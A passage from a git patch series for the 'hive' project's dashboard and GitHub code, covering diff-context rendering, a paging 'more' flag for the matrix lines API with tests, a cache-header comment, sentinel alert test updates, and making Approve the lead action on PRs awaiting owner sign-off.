=== '-' || line.op === ' '); })) return; var size = region.lines.reduce(function(n, line){ return n + line.line.length * 2; }, 0); if (region.lines.length > MAX_LINES || size > MAX_BYTES) return; var item = {repo: region.repo, pr: region.pr, path: region.path, prURL: region.pr_url, @@ -104,9 +104,9 @@ if (when.iso) time.setAttribute('datetime', when.iso); var diff = element('pre', 'reader-diff', '', article); region.lines.forEach(function(line){ - var removed = line.op === '-'; - var row = element('span', 'reader-line ' + (removed ? 'reader-del' : 'reader-add'), '', diff); - row.textContent = (removed ? '\u2212 ' : '+ ') + line.line + '\n'; + var removed = line.op === '-', context = line.op === ' '; + var row = element('span', 'reader-line ' + (removed ? 'reader-del' : context ? 'reader-context' : 'reader-add'), '', diff); + row.textContent = (removed ? '\u2212 ' : context ? ' ' : '+ ') + line.line + '\n'; }); return article; } diff --git a/src/pkg/dashboard/static/index.html b/src/pkg/dashboard/static/index.html index d32c59f71a..7f49c07acc 100644 --- a/src/pkg/dashboard/static/index.html +++ b/src/pkg/dashboard/static/index.html @@ -7122,6 +7122,7 @@ body.reader-mode .reader-diff { margin: .5rem 0 0; font: inherit; white-space: pre-wrap; overflow-wrap: anywhere; } body.reader-mode .reader-add { color: var(--reader-add); } body.reader-mode .reader-del { color: var(--reader-del); } +body.reader-mode .reader-context { color: var(--reader-text); } body.reader-mode #hive-reader [hidden] { display: none !important; } body.reader-mode #kiosk-cta { position: fixed; right: var(--sp-6); bottom: var(--sp-6); z-index: 100001; opacity: .85; } .var-empty{color:var(--muted);font-size:var(--fs-sm);padding:var(--sp-2) var(--sp-0)} @@ -7541,7 +7542,7 @@ function group(regions){ regions.forEach(function(region){ if (!region || !Array.isArray(region.lines) || !region.lines.length) return; - if (!region.lines.every(function(line){ return line && typeof line.line === 'string' && (line.op === '+' || line.op === '-'); })) return; + if (!region.lines.every(function(line){ return line && typeof line.line === 'string' && (line.op === '+' || line.op === '-' || line.op === ' '); })) return; var size = region.lines.reduce(function(n, line){ return n + line.line.length * 2; }, 0); if (region.lines.length > MAX_LINES || size > MAX_BYTES) return; var item = {repo: region.repo, pr: region.pr, path: region.path, prURL: region.pr_url, @@ -7594,9 +7595,9 @@ if (when.iso) time.setAttribute('datetime', when.iso); var diff = element('pre', 'reader-diff', '', article); region.lines.forEach(function(line){ - var removed = line.op === '-'; - var row = element('span', 'reader-line ' + (removed ? 'reader-del' : 'reader-add'), '', diff); - row.textContent = (removed ? '\u2212 ' : '+ ') + line.line + '\n'; + var removed = line.op === '-', context = line.op === ' '; + var row = element('span', 'reader-line ' + (removed ? 'reader-del' : context ? 'reader-context' : 'reader-add'), '', diff); + row.textContent = (removed ? '\u2212 ' : context ? ' ' : '+ ') + line.line + '\n'; }); return article; } From 757ffe88f79e3d07e7ee54d247dde2ee028489a6 Mon Sep 17 00:00:00 2001 From: "hivecommons-hive[bot]" <280983584+hivecommons-hive[bot]@users.noreply.github.com> Date: Wed, 4 Nov 2026 11:24:47 +0000 Subject: [PATCH 61/87] =?UTF-8?q?=F0=9F=90=9B=20fix:=20avoid=20empty=20rea?= =?UTF-8?q?der=20catch-up=20pulls=20for=20filtered=20lines=20(#16576)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ› fix: avoid empty reader catch-up pulls for filtered lines Report whether another allowed line remains in a matrix page and use that signal to finish reader catch-up without an empty follow-up request. Keep the global sequence and legacy-server fallback. Hive-Run: hivecommons/hive#16530 Hive-Plan: issue-16530 Hive-Spec: hivecommons/hive#16530 Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> * 🌱 chore: scope the changelog fragment to the server-side more flag The reader moved to format=regions on v5 (#16513), so the client half of this fix is superseded; the API change still lands for /api/matrix/lines. Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> * πŸ“– docs: document the matrix lines more flag and reframe the fragment No in-tree client reads `more` yet, so describe it where paging guidance lives (the /api/matrix/lines API-reference row) and record the change as an API addition rather than a client fix. Hive-Fix-Attempt: 1/6 Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> --------- Signed-off-by: thatguywob <thatguywob@users.noreply.github.com> Signed-off-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: thatguywob <thatguywob@users.noreply.github.com> Co-authored-by: scanner <280983584+hivecommons-hive[bot]@users.noreply.github.com> Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com> --- changelog.d/added-16530-matrix-lines-more.md | 1 + src/docs/api-reference/dashboard-misc.md | 2 +- src/pkg/dashboard/api_matrix.go | 5 ++- src/pkg/dashboard/api_matrix_test.go | 40 ++++++++++++++++++++ src/pkg/dashboard/matrix_source.go | 13 +++++-- 5 files changed, 55 insertions(+), 6 deletions(-) create mode 100644 changelog.d/added-16530-matrix-lines-more.md diff --git a/changelog.d/added-16530-matrix-lines-more.md b/changelog.d/added-16530-matrix-lines-more.md new file mode 100644 index 0000000000..5a95281519 --- /dev/null +++ b/changelog.d/added-16530-matrix-lines-more.md @@ -0,0 +1 @@ +- `/api/matrix/lines` now returns `more`, true only while another line the caller may see remains past the page, so clients paging a filtered backlog can stop without an empty follow-up request ([#16530](https://github.com/hivecommons/hive/issues/16530)). diff --git a/src/docs/api-reference/dashboard-misc.md b/src/docs/api-reference/dashboard-misc.md index 74debd9a15..cf87b2ca02 100644 --- a/src/docs/api-reference/dashboard-misc.md +++ b/src/docs/api-reference/dashboard-misc.md @@ -56,7 +56,7 @@ The monitor renders CI and Review concurrently on one shared PR row; see | `POST` | `/api/budget-ignore` | Owner only | Budget Ignore Set | `pkg/dashboard/api.go:177` | | `GET` | `/api/summaries` | Dashboard auth/session | Summaries | `pkg/dashboard/api.go:189` | | `GET` | `/api/stage-tracker` | Dashboard auth/session | Stage Tracker: every open issue and pull request of the watched repos for the Hive activity monitor β€” actionable, held, claimed, in-progress, covered-by-PR, filtered (`needs-*`), draft and exempt-labelled items alike, each with `stage`, `stage_since`, `labels`, `created_at`, `author_kind`, `modifiers`, `claimant: {kind: hive-agent|clanker|person, login, agent, hive, since, source: claim-ledger|claim-comment|assignee|kick-history|author}` naming who holds a claimed / in-progress issue or a PR under review or rework (absent when nobody is named; mirrored onto `linked_prs[]`), (PRs) `sentinel_alert` / `sentinel_findings` / `sentinel_reason` when the sentinel flagged the PR, `decision_needed` on a row parked on a person (085 / 045 / 015, the needs-human pill; mirrored onto the issue's `linked_prs[]` entry): `{question, asked_by, since, blocker, blocker_reason, options: [{action, label, enabled, reason_if_disabled}]}` β€” the reviewer's own decision question when the verdict record has one, the blocker in plain words, and the applicable actions under the row context menu's action ids (`decide:delegate` first), (PRs) `lineage` on the hive's copy of an adopted PR β€” `{kind: adopted|superseded|rebased-by-hive, from_number, from_url, from_author, from_author_kind, to_number, to_url, at, reason}`, derived from the stage store's adoption record or the `hive/adopt-<n>` head branch, mirrored onto the issue's `linked_prs[]` entry; absent on every other row β€” and (issues) `linked_prs`; items with no stage yet report stage `0` "Open"; `needs_human_labels` is the "a person must act" label set behind the monitor's Needs human facet (the same list as `/api/status.labelPresets[needs-human]`); `recently_merged` lists the PRs (`repo`, `number`, `merged_at`) whose `pr_merged` audit entry is under 30 minutes old, so a client diffing two payloads can tell a merge from a close; a PR in a conflict-aware merge train carries `merge_train` `{id, state, front, position, size, attempt, max_attempts, overlap_files, ahead, length, head_number, head_state, head_reason, head_since, eta_s, eta_at, eta_basis, late, stalled, stalled_s}` β€” `head_state` one of `needs-human` / `ci` / `soaking` / `ready` / `merging` / `fixing` / `unknown` with `head_reason` in plain words; `eta_s` / `eta_at` the estimated wait for this member's own merge attempt (own remaining soak + each PR ahead's remaining soak or one sweep + the next sweep tick; absent while the head waits on a person or CI), `eta_at` anchored to the member's first estimate at its position so a countdown survives polls, `eta_basis` its short reading ("2 ahead Β· head soaking 12m Β· next sweep in 40s"), `late` once now has overrun the first estimate twice over, `stalled` / `stalled_s` once the head has sat longer than `governor.merge_train_stall_warn_s` ([#15395](https://github.com/hivecommons/hive/issues/15395)); a PR the queue holds because another open PR declares the same `Fixes #N` carries no `merge_train` and a `merge_gate` of `{state: "duplicate-of:<winner>", duplicate_of, duplicate_issue}` plus the `needs-decision` modifier (the queue keeps one PR per issue: green first, then the earlier-opened); a PR GitHub reports conflicting on its own, or one under repair (stage/070, 071, 072, 074, 085, or a red required check), carries no `merge_train` and is not counted in any member's `size` / `length` β€” a repaired member the view dropped carries `left_train: {why: fixing|needs-author|returned-to-contributor|adopted-by-hive|needs-decision|checks-failing, note}` instead (mirrored onto the issue's `linked_prs[]` entry), and a train left with one member reports no `merge_train` at all; a PR short of the merge queue (below stage/080) the planner ordered rides no train either β€” it carries `overlap: {behind, with, files, note}` ("overlaps #15637 (sidebar.html, index.html) β€” will queue behind it") and no `merge_train`, and counts in no member's `size` β€” the state slugs (`front`, `queued-behind`) are payload values only, the SPA renders ordinal places ("Merge queued Β· 1st of 2", with the train's tag when more than one train is on the page). Served from a server-side cache rebuilt at most every `dashboard.stage_tracker.cache_ttl_s` (default `governor.eval_interval_s`) from the spoke's existing snapshot β€” a request never calls GitHub. Carries `generated_at`, `source` (`cache` or `fresh`), `cache_ttl_s`, an `ETag` and `Cache-Control: private, max-age=<remaining>`; `If-None-Match` yields 304. Each hit is recorded under REST caller `dashboard:stage-tracker` so `/api/gh-rate-limits` shows it charged nothing. | `pkg/dashboard/api.go:190` | -| `GET` | `/api/matrix/lines` | Dashboard auth/session | Matrix Lines: serve bounded backlog of pushed lines behind dashboard.matrix with repo allowlist filtering. `max` counts only lines the repo allowlist admits, so a page is never emptied by filtered-out lines. A client paging with `max` should use the last returned line's `seq` as its next `since`, not the top-level `seq`, which is the source's latest sequence number and would skip lines still past the page. | `pkg/dashboard/api.go:191` | +| `GET` | `/api/matrix/lines` | Dashboard auth/session | Matrix Lines: serve bounded backlog of pushed lines behind dashboard.matrix with repo allowlist filtering. `max` counts only lines the repo allowlist admits, so a page is never emptied by filtered-out lines. A client paging with `max` should use the last returned line's `seq` as its next `since`, not the top-level `seq`, which is the source's latest sequence number and would skip lines still past the page. `more` is true only while another line the caller may see remains past the page; stop paging when it is false. | `pkg/dashboard/api.go:191` | | `POST` | `/api/prs/{owner}/{repo}/{number}/queue-automerge` | Merger/owner role | Queue PRAuto Merge | `pkg/dashboard/api.go:192` | | `GET` | `/api/inference/models/{backend}` | Dashboard auth/session | Inference Models | `pkg/dashboard/api.go:369` | | `GET` | `/api/hive-id` | Dashboard auth/session | Hive IDGet | `pkg/dashboard/api.go:431` | diff --git a/src/pkg/dashboard/api_matrix.go b/src/pkg/dashboard/api_matrix.go index be10478ede..684cee8605 100644 --- a/src/pkg/dashboard/api_matrix.go +++ b/src/pkg/dashboard/api_matrix.go @@ -81,6 +81,8 @@ type matrixLinesResponse struct { Seq uint64 `json:"seq"` Source string `json:"source"` Lines []matrixLine `json:"lines"` + // More is true only when another line this caller may see remains. + More bool `json:"more"` // LastIngestAt is when the pass that feeds this source last finished // (RFC 3339), or null before the first; NextIngestInS is the whole // seconds until the next pass is due, 0 when unknown. Together they let @@ -130,7 +132,7 @@ func (s *Server) handleMatrixLines(w http.ResponseWriter, r *http.Request) { } // Filter inside the scan so max counts only lines this caller may see. - lines, latest := src.SinceMatching(since, limit, func(l matrixLine) bool { + lines, latest, more := src.SinceMatching(since, limit, func(l matrixLine) bool { return cfg.RepoAllowed(l.Repo) }) @@ -139,6 +141,7 @@ func (s *Server) handleMatrixLines(w http.ResponseWriter, r *http.Request) { Seq: latest, Source: "pushed-lines", Lines: lines, + More: more, } if last, nextS := src.ingestStatus(src.now()); !last.IsZero() { resp.LastIngestAt = &last diff --git a/src/pkg/dashboard/api_matrix_test.go b/src/pkg/dashboard/api_matrix_test.go index 836635b6cf..f1ff675abe 100644 --- a/src/pkg/dashboard/api_matrix_test.go +++ b/src/pkg/dashboard/api_matrix_test.go @@ -416,6 +416,46 @@ func getMatrixLines(t *testing.T, s *Server, target string) matrixLinesResponse return resp } +// More describes visible work, even when the page is full and newer ring +// entries are all filtered out (#16530). +func TestHandleMatrixLines_MoreCountsOnlyAllowedLines(t *testing.T) { + s := newTestServer() + s.MatrixObserver(config.MatrixConfig{Enabled: true, Repos: []string{"hivecommons/allowed"}}) + src := s.matrix + t.Cleanup(src.close) + helperAddMatrixLine(src, "hivecommons/denied", "hidden before") + helperAddMatrixLine(src, "hivecommons/allowed", "first") + helperAddMatrixLine(src, "hivecommons/denied", "hidden between") + helperAddMatrixLine(src, "hivecommons/allowed", "last") + helperAddMatrixLine(src, "hivecommons/denied", "hidden after") + + for _, tc := range []struct { + name string + query string + seqs []uint64 + more bool + }{ + {"truncated", "since=0&max=1", []uint64{2}, true}, + {"full final page", "since=2&max=1", []uint64{4}, false}, + {"short final page", "since=2&max=2", []uint64{4}, false}, + {"initial backlog", "since=0", []uint64{2, 4}, false}, + {"only hidden lines", "since=4&max=1", nil, false}, + {"caught up", "since=5&max=1", nil, false}, + } { + t.Run(tc.name, func(t *testing.T) { + resp := getMatrixLines(t, s, "/api/matrix/lines?"+tc.query) + if resp.Seq != 5 || resp.More != tc.more || len(resp.Lines) != len(tc.seqs) { + t.Fatalf("response = %+v, want latest=5 more=%v seqs=%v", resp, tc.more, tc.seqs) + } + for i, seq := range tc.seqs { + if resp.Lines[i].Seq != seq { + t.Fatalf("line %d seq = %d, want %d", i, resp.Lines[i].Seq, seq) + } + } + }) + } +} + // /api/matrix/lines reports when the ingest pass last ran and when the next // is due (#16276), null/0 before the first pass, so the kiosk can tell "no // pushes" from "no ingest". diff --git a/src/pkg/dashboard/matrix_source.go b/src/pkg/dashboard/matrix_source.go index 2a891a285c..6891d3fbd2 100644 --- a/src/pkg/dashboard/matrix_source.go +++ b/src/pkg/dashboard/matrix_source.go @@ -383,13 +383,15 @@ func (m *matrixSource) removeLocked(key string) { // Since returns up to limit backlog lines with Seq > seq, oldest first, and the // latest sequence number. limit <= 0 means a default page. func (m *matrixSource) Since(seq uint64, limit int) ([]matrixLine, uint64) { - return m.SinceMatching(seq, limit, nil) + lines, latest, _ := m.SinceMatching(seq, limit, nil) + return lines, latest } // SinceMatching is Since restricted to lines keep accepts (nil keeps all). // limit counts only kept lines, so a page is never emptied by lines the caller // may not see while kept lines remain past it (hivecommons/hive#15979). -func (m *matrixSource) SinceMatching(seq uint64, limit int, keep func(matrixLine) bool) ([]matrixLine, uint64) { +// The final result reports whether another kept line remains after this page. +func (m *matrixSource) SinceMatching(seq uint64, limit int, keep func(matrixLine) bool) ([]matrixLine, uint64, bool) { if limit <= 0 { limit = matrixDefaultSinceMax } @@ -397,13 +399,16 @@ func (m *matrixSource) SinceMatching(seq uint64, limit int, keep func(matrixLine defer m.mu.Unlock() n := len(m.ring) out := make([]matrixLine, 0, min(limit, n)) - for i := 0; i < n && len(out) < limit; i++ { + for i := 0; i < n; i++ { l := m.ring[(m.next+i)%n] if l.Seq > seq && (keep == nil || keep(l)) { + if len(out) == limit { + return out, m.seq, true + } out = append(out, l) } } - return out, m.seq + return out, m.seq, false } // Latest is the sequence number of the newest accepted line; 0 when none. From 5f61ffda1302775d0099e2b7cdc864b9fbf0af59 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Ra=C3=BAl=20M=C3=A9ndez?= <18744521+mendezr@users.noreply.github.com> Date: Wed, 4 Nov 2026 12:41:49 +0100 Subject: [PATCH 62/87] =?UTF-8?q?=F0=9F=93=96=20docs:=20explain=20matrix?= =?UTF-8?q?=20no-store=20header=20in=20auth=20middleware=20(#16574)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * πŸ“– docs: explain matrix no-store header in auth middleware Preserve the reason for the duplicated cache policy: authentication can return 401 before the matrix handler runs. Hive-Run: hivecommons/hive#16529 Hive-Plan: document-matrix-auth-cache-policy Hive-Spec: hivecommons/hive#16529#401-no-store Signed-off-by: mendezr <mendezr@users.noreply.github.com> * πŸ“– docs: add matrix cache-policy changelog fragment Record the documentation change so changelog-fragment-guard can admit this PR without a maintainer-only no-changelog label. Signed-off-by: mendezr <mendezr@users.noreply.github.com> --------- Signed-off-by: mendezr <mendezr@users.noreply.github.com> Co-authored-by: mendezr <mendezr@users.noreply.github.com> Co-authored-by: hivecommons-hive[bot] <280983584+hivecommons-hive[bot]@users.noreply.github.com> --- changelog.d/changed-16574.md | 1 + src/pkg/dashboard/server.go | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) create mode 100644 changelog.d/changed-16574.md diff --git a/changelog.d/changed-16574.md b/changelog.d/changed-16574.md new file mode 100644 index 0000000000..61b4edcbee --- /dev/null +++ b/changelog.d/changed-16574.md @@ -0,0 +1 @@ +- Document why dashboard matrix authentication failures also receive `Cache-Control: no-store`. diff --git a/src/pkg/dashboard/server.go b/src/pkg/dashboard/server.go index 62a6fc0255..6427763fac 100644 --- a/src/pkg/dashboard/server.go +++ b/src/pkg/dashboard/server.go @@ -1979,7 +1979,7 @@ code{color:#e6edf3} func (s *Server) authenticate(next http.Handler) http.Handler { return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.URL.Path == "/api/matrix/lines" { - w.Header().Set("Cache-Control", "no-store") + w.Header().Set("Cache-Control", "no-store") // Cover 401 responses that never reach handleMatrixLines' no-store header. } directRouteAuthz := s.directRouteAuthzEnabled() From 2940830726b72f08dff5a1ef6a37bff871b4a7d5 Mon Sep 17 00:00:00 2001 From: Andrew Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 07:04:04 -0500 Subject: [PATCH 63/87] test(github): sentinel carry-over tests expect the rewritten one-comment-per-PR alert v5 #16434 (hivecommons/hive#16433) rewrites the hive's existing sentinel comment for a new head instead of posting a second one. The v6-only clearance carry-over tests still asserted a fresh second comment; align them with the same expectation #16434 applied to the other re-alert tests. Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- src/pkg/github/sentinel_sweep_test.go | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) diff --git a/src/pkg/github/sentinel_sweep_test.go b/src/pkg/github/sentinel_sweep_test.go index 27f32eca62..5fa37f94c7 100644 --- a/src/pkg/github/sentinel_sweep_test.go +++ b/src/pkg/github/sentinel_sweep_test.go @@ -859,7 +859,8 @@ func sentinelClearedFixture(t *testing.T, remover string, filesB []map[string]an // reviewed: the clearance carries over, no label and no new alert, and the // hive's marker comment is rewritten as the cleared alert for hB so the next // pass (a fresh client, as after a restart) stays quiet too. A later push that -// changes the flagged file re-alerts. +// changes the flagged file re-alerts, rewriting the hive's one comment for +// the new head (#16433) rather than stamping the PR again. func TestSweepSentinelClearanceCarriesOverUnchangedFlaggedChanges(t *testing.T) { filesB := []map[string]any{{"filename": "OWNERS", "status": "modified", "patch": sentinelOwnersPatch}} f, client := sentinelClearedFixture(t, "danathar", filesB) @@ -888,15 +889,15 @@ func TestSweepSentinelClearanceCarriesOverUnchangedFlaggedChanges(t *testing.T) f.checkSuites["hC"] = []string{"2026-10-25T04:00:00Z"} f.mu.Unlock() res, err := client().SweepSentinel(context.Background(), defaultSentinelOpts(nil)) - if err != nil || len(res.Flagged) != 1 || len(f.labels[9]) != 2 || len(f.comments[9]) != 2 || !strings.Contains(f.comments[9][1], SentinelMarker+" hC") { - t.Fatalf("a changed flagged file must re-alert: res=%+v err=%v labels=%v comments=%d", res, err, f.labels[9], len(f.comments[9])) + if err != nil || len(res.Flagged) != 1 || len(f.labels[9]) != 2 || len(f.comments[9]) != 1 || !strings.Contains(f.comments[9][0], SentinelMarker+" hC") { + t.Fatalf("a changed flagged file must re-alert by rewriting the hive's comment: res=%+v err=%v labels=%v comments=%v", res, err, f.labels[9], f.comments[9]) } } // The carry-over needs the same flagged content and a human's removal. A // changed patch, an added flagged file, a flagged file GitHub returns with // no patch, and a removal by a bot each leave the existing behaviour: hB is -// alerted on and labelled. +// alerted on and labelled, the hive's hA alert rewritten for hB (#16433). func TestSweepSentinelClearanceCarryOverRejected(t *testing.T) { owners := map[string]any{"filename": "OWNERS", "status": "modified", "patch": sentinelOwnersPatch} cases := []struct { @@ -919,8 +920,8 @@ func TestSweepSentinelClearanceCarryOverRejected(t *testing.T) { if got := f.labels[9]; len(got) != 2 { t.Fatalf("label must be applied again: %v", got) } - if len(f.comments[9]) != 2 || !strings.Contains(f.comments[9][1], SentinelMarker+" hB") { - t.Fatalf("a fresh alert for hB must be posted: %v", f.comments[9]) + if len(f.comments[9]) != 1 || !strings.Contains(f.comments[9][0], SentinelMarker+" hB") || strings.Contains(f.comments[9][0], SentinelMarker+" hA") { + t.Fatalf("the hA alert must be rewritten for hB, not duplicated: %v", f.comments[9]) } }) } From 4fc4ff141cd005e610202456f475f34d3d137d56 Mon Sep 17 00:00:00 2001 From: Andy Anderson <andy@clubanderson.com> Date: Wed, 4 Nov 2026 07:16:02 -0500 Subject: [PATCH 64/87] =?UTF-8?q?=F0=9F=90=9B=20Activity=20Monitor:=20say?= =?UTF-8?q?=20whose=20sign-off=20a=20parked=20review=20needs=20and=20lead?= =?UTF-8?q?=20with=20Approve=20(#16578)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Rows parked on a policy sign-off ask (fork workflow change needing owner sign-off) read "Review 5/5 Β· awaiting human decision" with only "Let hive decide" inline, and captioned "Recommendation recorded" after a park-keeping verdict that recorded no recommendation. - Review chevron: "needs your sign-off" when the ask names the viewer, else "needs owner sign-off"; tooltip carries the question. - Server marks the first enabled decide:approve as lead for reviewer/ sentinel asks in human_decision when CI is not failing, so the row shows "Approve β–Έ" then "Let hive decide β–Έ". - Row action results carry the delegate verdict; the pend caption says "Recommendation recorded" only for recommend-only verdicts, otherwise "Your decision needed". Fixes #16577 Signed-off-by: Andrew Anderson <andy@clubanderson.com> --- changelog.d/fixed-signoff-lead.md | 1 + src/pkg/dashboard/row_action_result.go | 6 +- src/pkg/dashboard/stage_tracker_activity.go | 2 +- .../dashboard/stage_tracker_activity.test.js | 8 +- src/pkg/dashboard/stage_tracker_build.go | 1 + .../stage_tracker_decided_ui_test.go | 1 + .../dashboard/stage_tracker_decision_pr.go | 46 +++++ .../stage_tracker_remediation_chevron.test.js | 2 +- .../stage_tracker_signoff_lead_test.go | 165 ++++++++++++++++++ .../dashboard/stage_tracker_ui_rows_test.go | 2 +- .../static-src/js/tracker-row-strip.js | 21 ++- .../static-src/js/tracker-words-gate.js | 8 +- src/pkg/dashboard/static/index.html | 29 ++- 13 files changed, 279 insertions(+), 13 deletions(-) create mode 100644 changelog.d/fixed-signoff-lead.md create mode 100644 src/pkg/dashboard/stage_tracker_signoff_lead_test.go diff --git a/changelog.d/fixed-signoff-lead.md b/changelog.d/fixed-signoff-lead.md new file mode 100644 index 0000000000..96970343a2 --- /dev/null +++ b/changelog.d/fixed-signoff-lead.md @@ -0,0 +1 @@ +- Activity Monitor: a row parked on a policy sign-off ask (e.g. a fork's workflow change) now says "Review 5/5 Β· needs your sign-off" / "needs owner sign-off" instead of "awaiting human decision", leads with an inline "Approve β–Έ" when CI is green (then "Let hive decide β–Έ"), and no longer captions "Recommendation recorded" when hive kept the park without recording a recommendation. diff --git a/src/pkg/dashboard/row_action_result.go b/src/pkg/dashboard/row_action_result.go index 587891d64e..eb73664ba0 100644 --- a/src/pkg/dashboard/row_action_result.go +++ b/src/pkg/dashboard/row_action_result.go @@ -25,6 +25,10 @@ type RowActionResult struct { Next string `json:"next"` Rule string `json:"rule,omitempty"` AppliedAt *time.Time `json:"applied_at,omitempty"` + // Verdict is the delegate's verdict slug when the hive decided + // (owner-only, recommend-only, …), so the row caption can tell a + // recorded recommendation from an ask handed back to the person. + Verdict string `json:"verdict,omitempty"` // Why is the glossary slug for why a recorded decision has not taken // effect (Action no-effect); Options are the concrete next actions in // the popover's shape (hivecommons/hive#14822). Both additive. @@ -104,7 +108,7 @@ func delegatedRowActionResult(in delegatedecision.Input, d delegatedecision.Deci if in.Kind == delegatedecision.KindPR { kind = rowActionTargetPR } - out := RowActionResult{Target: rowActionTarget(in.Repo, kind, in.Number), Rule: d.Rule} + out := RowActionResult{Target: rowActionTarget(in.Repo, kind, in.Number), Rule: d.Rule, Verdict: string(d.Verdict)} ruleTag := "" if d.Rule != "" { ruleTag = " (" + delegatedecision.RulePlain(d.Rule) + ")" diff --git a/src/pkg/dashboard/stage_tracker_activity.go b/src/pkg/dashboard/stage_tracker_activity.go index acba132a7c..94e5cf04be 100644 --- a/src/pkg/dashboard/stage_tracker_activity.go +++ b/src/pkg/dashboard/stage_tracker_activity.go @@ -463,7 +463,7 @@ func stageTrackerReviewActivity(pr github.PullRequest, bundle *evidence.Bundle, out.State, out.Caption = "changes_requested", "Review findings Β· awaiting author" out.Blocker = stageTrackerFixerExhaustedSummary(agg) case "requires_human": - out.State, out.Caption = "human_decision", "Review findings Β· human decision" + out.State, out.Caption = "human_decision", "Review findings Β· needs owner sign-off" out.Blocker = agg.DecisionQuestion } } diff --git a/src/pkg/dashboard/stage_tracker_activity.test.js b/src/pkg/dashboard/stage_tracker_activity.test.js index eb7fb9c78a..c991e7b18d 100644 --- a/src/pkg/dashboard/stage_tracker_activity.test.js +++ b/src/pkg/dashboard/stage_tracker_activity.test.js @@ -763,7 +763,13 @@ test('#16484: count grammar β€” CI passed/total and Review done/total across eve const review = (state, extra = {}, item = {}) => word({ head: 'h', ...item, review_activity: { head: 'h', state, perspectives_done: 3, perspectives_total: 5, ...extra } }, 'review', true); assert.equal(review('approved', { perspectives_done: 5 }), 'Review 5/5 approved'); assert.equal(review('changes_requested'), 'Review 3/5 Β· changes requested'); - assert.equal(review('human_decision'), 'Review 3/5 Β· awaiting human decision'); + assert.equal(review('human_decision'), 'Review 3/5 Β· needs owner sign-off', 'reviews done; the sign-off is what is left, never "awaiting human"'); + assert.equal(review('human_decision', {}, { decision_needed: { question: '@clubanderson should decide whether to accept this workflow change from a fork.' } }), 'Review 3/5 Β· needs owner sign-off', 'no viewer known: the owner'); + globalThis.window = { _hiveUser: 'ClubAnderson' }; + try { + assert.equal(review('human_decision', {}, { decision_needed: { question: '@clubanderson should decide whether to accept this workflow change from a fork.' } }), 'Review 3/5 Β· needs your sign-off', 'the ask names the viewer'); + assert.equal(review('human_decision', {}, { decision_needed: { question: '@someone-else should decide.' } }), 'Review 3/5 Β· needs owner sign-off'); + } finally { delete globalThis.window; } assert.equal(review('reviewing', { actor: 'reviewer-2' }), 'Review 3/5 Β· reviewer-2 reviewing'); assert.equal(review('adjudicating', { actor: 'adjudicator' }), 'Review 3/5 Β· adjudicator reviewing'); assert.equal(review('assigned', { actor: 'reviewer' }), 'Review 3/5 Β· reviewer queued'); diff --git a/src/pkg/dashboard/stage_tracker_build.go b/src/pkg/dashboard/stage_tracker_build.go index e1a9fc0e7c..8e5297c1b4 100644 --- a/src/pkg/dashboard/stage_tracker_build.go +++ b/src/pkg/dashboard/stage_tracker_build.go @@ -474,6 +474,7 @@ func (s *Server) buildStageTracker(status *StatusPayload, store *stagelabels.Sto } it.ReviewActivity = stageTrackerReviewActivity(activityPR, bundle, currentAggregate, dispatchState, status, now) stageTrackerCountPerspectives(it.ReviewActivity, activityPR, bundle, currentAggregate, dispatchState, stageTrackerRepoQualifier(status), expectedPerspectives) + stageTrackerLeadApproveForSignOff(&it) if stageTrackerClaimantStage(it.Kind, it.Stage) { var worker *stageTrackerWorker if w, ok := stageTrackerWorkerOn(workers, repoName, pr.Number); ok { diff --git a/src/pkg/dashboard/stage_tracker_decided_ui_test.go b/src/pkg/dashboard/stage_tracker_decided_ui_test.go index 7faae2855f..1a27f33a5c 100644 --- a/src/pkg/dashboard/stage_tracker_decided_ui_test.go +++ b/src/pkg/dashboard/stage_tracker_decided_ui_test.go @@ -31,6 +31,7 @@ func stageTrackerDecidedUIJS(t *testing.T, html string) string { jsFunc(t, html, "stageTrackerGateCueHtml"), jsFunc(t, html, "stageTrackerDecidedOf"), jsConstBlock(t, html, "STAGE_TRACKER_DECIDED_ACTING"), + jsConstLine(t, html, "STAGE_TRACKER_PARK_KEPT_ACTING"), jsFunc(t, html, "stageTrackerDecidedActing"), jsFunc(t, html, "stageTrackerDecidedLead"), jsFunc(t, html, "stageTrackerLinkedSupersededText"), diff --git a/src/pkg/dashboard/stage_tracker_decision_pr.go b/src/pkg/dashboard/stage_tracker_decision_pr.go index 266c2c2fa0..438c0e3639 100644 --- a/src/pkg/dashboard/stage_tracker_decision_pr.go +++ b/src/pkg/dashboard/stage_tracker_decision_pr.go @@ -206,6 +206,52 @@ func decisionForPR(it StageTrackerItem, verdict *review.Aggregate, sentinelLabel return d } +// decisionApproveSignOffConsequence is the inline Approve pill's hover on +// a sign-off ask. +const decisionApproveSignOffConsequence = "Posts /lgtm + /approve as you; the merge queue takes it from there. Nothing merges here." + +// stageTrackerLeadApproveForSignOff marks Approve the lead answer on a PR +// parked for a policy sign-off: a reviewer or the security check asked a +// person to accept something (a workflow change from a fork touching a +// secret, hivecommons/hive#16572), the reviews are otherwise done +// (human_decision / approved on this head), Approve is enabled and CI is +// not failing. The row then reads "Approve β–Έ Β· Let hive decide β–Έ" instead +// of leading with delegate. Runs after CI and review activity are +// derived, since decisionForPR sees neither. A lead the question already +// chose (Re-author, Close as superseded) stands. +func stageTrackerLeadApproveForSignOff(it *StageTrackerItem) { + if it == nil || it.Kind != "pr" || it.DecisionNeeded == nil { + return + } + d := it.DecisionNeeded + if d.AskedBy != decisionAskedByReviewer && d.AskedBy != decisionAskedBySentinel { + return + } + for _, o := range d.Options { + if o.Lead { + return + } + } + if it.CIActivity != nil && it.CIActivity.Head == it.Head && (it.CIActivity.State == "failing" || 